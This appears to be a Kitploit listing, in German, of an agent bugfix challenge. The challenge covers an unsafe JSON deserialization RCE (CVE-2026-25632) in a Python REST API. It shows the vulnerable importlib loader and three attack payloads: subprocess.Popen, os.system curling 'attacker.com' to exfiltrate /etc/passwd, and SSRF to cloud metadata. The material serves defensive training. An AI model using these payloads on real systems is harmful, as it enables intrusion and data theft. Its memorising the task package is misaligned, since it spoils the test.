Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25632 — CVE-2026-25632 — Behebung unsicherer JSON-Deserialisierung, die zu Remote-Codeausführung führt | Kitploit
Tools/GitHubGitHub/lazarus0x1337/cve-2026-25632
Statische AnalyseSchwachstellenanalyseCode-AnalyseExploitationWebsicherheitLernen & BildungLabs & Praxis
GitHublazarus0x1337/cve-2026-25632

CVE-2026-25632

CVE-2026-25632 — Behebung unsicherer JSON-Deserialisierung, die zu Remote-Codeausführung führt

Repository anzeigen
13vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25632 — RCE durch JSON-Deserialisierung in der REST-API (Bugfix-Challenge)

Inspiriert von einer echten Sicherheitslücke aus dem Jahr 2026 (CVSS 10.0, aktiv ausgenutzt)
Grundlage: CVE-2026-25632 — Remote Code Execution durch unsichere, __type__-gesteuerte JSON-Deserialisierung, entdeckt in der REST-API der EPyT-Flow-Wassernetzsimulation und Anfang 2026 öffentlich offengelegt.


Hintergrund

NovaSim ist ein Python-basiertes Simulations-Framework, das eine REST-API zur Fernsteuerung wissenschaftlicher Experimente bereitstellt. Zur Unterstützung einer flexiblen Objektserialisierung über heterogene Client-Umgebungen hinweg fügte ein Entwickler einen benutzerdefinierten JSON-Loader hinzu, der ein spezielles Feld __type__ erkennt und die referenzierte Python-Klasse mithilfe von importlib dynamisch importiert und instanziiert.

Dieses Muster wurde 2026 als kritische Remote-Code-Execution-Sicherheitslücke (RCE) in einem bedeutenden Open-Source-Projekt offengelegt. Sicherheitsforscher stellten fest, dass ein Angreifer, der den JSON-Body kontrolliert, eine Gadget-Chain konstruieren kann, die auf beliebige aufrufbare Objekte der Python-Standardbibliothek abzielt – darunter subprocess.Popen, , und über 25 SSRF-Gadgets – und damit mit einer einzigen HTTP-Anfrage die vollständige Kompromittierung des Servers erreicht, .

os.system
eval
ohne dass eine Authentifizierung erforderlich ist

Ihre Aufgabe

Sie erhalten die verwundbare Version von src/solution.py, die exakt das unsichere Deserialisierungsmuster enthält.

Ihr Ziel: Beheben Sie die Sicherheitslücke in DeserializationService.load_from_json(), sodass:

  1. Legitime, auf der Whitelist stehende Simulationsobjekte weiterhin korrekt deserialisiert werden.
  2. Jeder Versuch, eine Klasse außerhalb der Whitelist zu laden, eine SecurityError auslöst.
  3. Das Feld __type__ keinen beliebigen Modulimport oder keine beliebige Klasseninstanziierung mehr ermöglicht.
  4. Alle gültigen Simulationsdaten (__type__-freies JSON) weiterhin normal geladen werden.

Technische Problemstellung

Verwundbares Codemuster (NICHT VERWENDEN)

root@kitploit:~
# DANGEROUS — CVE-2026-25632 pattern
import importlib

def _unsafe_load(data: dict):
    if "__type__" in data:
        module_path, class_name = data["__type__"].rsplit(".", 1)
        module = importlib.import_module(module_path)   # attacker-controlled!
        cls = getattr(module, class_name)               # attacker-controlled!
        return cls(**data.get("args", {}))              # arbitrary code execution!

Angriffsvektoren (aus der realen Sicherheitsforschung)

Ein Angreifer sendet eine POST-Anfrage mit einem manipulierten JSON-Body:

Vektor 1 — Direkte RCE über subprocess:

root@kitploit:~
{
  "__type__": "subprocess.Popen",
  "args": {"args": ["id"], "shell": true}
}

Vektor 2 — RCE über os.system:

root@kitploit:~
{
  "__type__": "os.system",
  "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}

Vektor 3 — SSRF über urllib.request.urlopen:

root@kitploit:~
{
  "__type__": "urllib.request.urlopen",
  "args": {"url": "http://169.254.169.254/latest/meta-data/"}
}

Sicherheitsforscher dokumentierten 12 direkte RCE-Gadgets und 25 SSRF-Gadgets, die auf diese Weise allein über die Python-Standardbibliothek erreichbar sind.


Whitelist-Typen

Die folgenden – und nur die folgenden – Simulationsobjekttypen dürfen über __type__ deserialisiert werden:

__type__-WertPython-Klasse
simulation.Sensornovasim.models.Sensor
simulation.Actuatornovasim.models.Actuator
simulation.Scenarionovasim.models.Scenario

Jeder andere __type__-Wert MUSS sofort eine SecurityError auslösen, bevor ein Import oder eine Instanziierung erfolgt.


Eingabe-/Ausgabespezifikation

Eingabe

JSON-Objekte, die an DeserializationService.load_from_json(raw: str) -> dict | SimObject übergeben werden

Ausgabe

  • Wenn das JSON keinen __type__-Schlüssel enthält: dict (geparstes JSON) zurückgeben.
  • Wenn das JSON einen auf der Whitelist stehenden __type__ enthält: die entsprechende Simulationsobjektinstanz zurückgeben.
  • Wenn das JSON einen nicht auf der Whitelist stehenden __type__ enthält: SecurityError mit der Meldung "Blocked unsafe type: <type_value>" auslösen.
  • Wenn das JSON fehlerhaft ist: ValueError mit der Meldung "Invalid JSON payload" auslösen.

Randfälle / Fehlerbehandlungsregeln

SzenarioErwartetes Verhalten
__type__ fehltAls einfaches dict parsen und zurückgeben
__type__ = "simulation.Sensor"Sensor(**args) instanziieren
__type__ = "subprocess.Popen"SecurityError auslösen
__type__ = "os.system"SecurityError auslösen
__type__ = "__builtins__.eval"SecurityError auslösen
__type__ = "" (leere Zeichenkette)SecurityError auslösen
__type__ = eine Liste oder GanzzahlSecurityError auslösen (ungültiges Typfeld)
Fehlerhafter JSON-StringValueError auslösen
Zusätzliche unbekannte Felder in gültigem ObjektAkzeptiert, werden als Kwargs an den Konstruktor übergeben

Dateien

root@kitploit:~
challenge-cve-2026-25632/
├── README.md                   <- You are here
├── Dockerfile                  <- Deterministic build environment
├── src/
│   ├── solution.py             <- BUGGY starter code (your target)
│   ├── solution_fixed.py       <- Reference solution (hidden from agent)
│   └── novasim/
│       ├── __init__.py
│       └── models.py           <- Allowlisted simulation model classes
└── tests/
    └── test_solution.py        <- Test harness (FAILS on buggy, PASSES on fixed)

Verifikationskriterien

Der Fix muss ALLE der folgenden Punkte erfüllen:

  • Alle 4 Standard-Deserialisierungstests (Whitelist-Typen, einfaches dict ohne Typ)
  • Alle 5 Angriffsvektor-Blockierungstests (subprocess, os, eval, urllib, builtins)
  • Alle 3 Randfalltests (leerer Typ, Nicht-String-Typ, fehlerhaftes JSON)
  • Keine externen Netzwerkaufrufe während der Tests
  • Deterministisch über mehrere Läufe hinweg

Referenzen

  • NVD — CVE-2026-25632
  • CISA Advisory — Katalog bekannter ausgenutzter Sicherheitslücken
  • Sicherheitsforschung: 79 entdeckte Gadgets — MazeHQ, 2026
  • CWE-502: Deserialisierung unvertrauenswürdiger Daten
Tool herunterladen